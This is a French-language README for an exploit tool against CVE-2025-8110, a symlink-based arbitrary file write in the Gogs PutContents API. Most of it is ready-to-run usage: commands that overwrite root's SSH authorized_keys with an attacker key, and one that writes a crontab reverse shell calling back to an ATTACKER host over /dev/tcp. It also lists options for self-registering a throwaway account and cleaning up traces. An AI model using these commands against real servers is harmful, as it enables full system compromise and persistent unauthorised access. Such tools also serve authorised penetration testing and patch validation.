
CVE-2025-8110 — Gogs <= 0.13.3 Écriture arbitraire de fichier via traversée de lien symbolique dans l'API PutContents
Gogs <= 0.13.3 est vulnérable à l'écriture arbitraire de fichiers via l'API PutContents (/api/v1/repos/:owner/:repo/contents/:path).
L'API valide les chemins contre les séquences de traversée de répertoires (../) mais ne résout pas les liens symboliques avant l'écriture. Un utilisateur authentifié peut pousser un commit contenant un lien symbolique pointant vers n'importe quel fichier sur le serveur, puis appeler PutContents sur ce lien symbolique pour écraser le fichier cible avec un contenu contrôlé par l'attaquant.
Lorsque Gogs s'exécute en tant que root (par défaut dans Docker et de nombreux déploiements), cela conduit à une compromission totale du système.
| Détail | Valeur |
|---|---|
| CVE | CVE-2025-8110 |
| Affecté | Gogs <= 0.13.3 |
| Type | Écriture arbitraire de fichiers authentifiée → RCE |
| CVSS | 8.8 (Élevé) |
| Composant | API PutContents |
requests (pip install requests)git# Auto-inscrire un compte jetable + écrire la clé publique SSH pour root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Avec des identifiants existants
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Shell inversé via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Nettoyer le dépôt d'exploitation après usage
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys), commiter et pousser.root).--url URL de base de Gogs (ex. http://target:3001)
-u, --user Nom d'utilisateur Gogs
-p, --password Mot de passe Gogs
--register Auto-inscrire un compte jetable (pas de captcha)
--target-file Chemin absolu à écraser sur le serveur
--content Contenu textuel à écrire
--content-file Fichier local dont le contenu doit être écrit
--repo Nom du dépôt à créer (défaut : aléatoire)
--link-name Nom du lien symbolique dans le dépôt (défaut : payload)
--cleanup Supprimer le dépôt d'exploitation après écriture
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et de formation. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez-le de manière responsable.